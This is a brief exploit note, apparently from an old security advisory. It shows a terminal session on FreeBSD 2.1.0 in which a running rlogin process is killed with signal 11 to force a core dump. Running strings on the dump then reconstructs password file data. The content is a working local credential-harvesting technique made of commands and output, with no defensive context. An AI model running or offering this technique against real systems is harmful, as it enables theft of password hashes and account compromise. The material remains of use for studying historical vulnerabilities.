Exploit:

 ~> rlogin 127.0.0.1
   Password:
   Last login: Mon Feb 17 00:35:49 from localhost
   Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991
        The Regents of the University of California.

   FreeBSD 2.1.0-RELEASE (WIPS) #0: Thu Oct 17

    You have new mail.

   ~> ps -ax | grep rlogin
      6528  ??  S      0:00.06 rlogind
      6527  p1  S+     0:00.05 rlogin 127.0.0.1
      6529  p1  S+     0:00.01 rlogin 127.0.0.1

   ~> kill -11 6529
   ~> ls
   Brain_Box       NS              cronjobs
   Mail            News            rlogin.core

  ~>strings rlogin.core > passwdfile.reconstruct
  ~>vi passwdfile.reconstruct

 and reconstruct..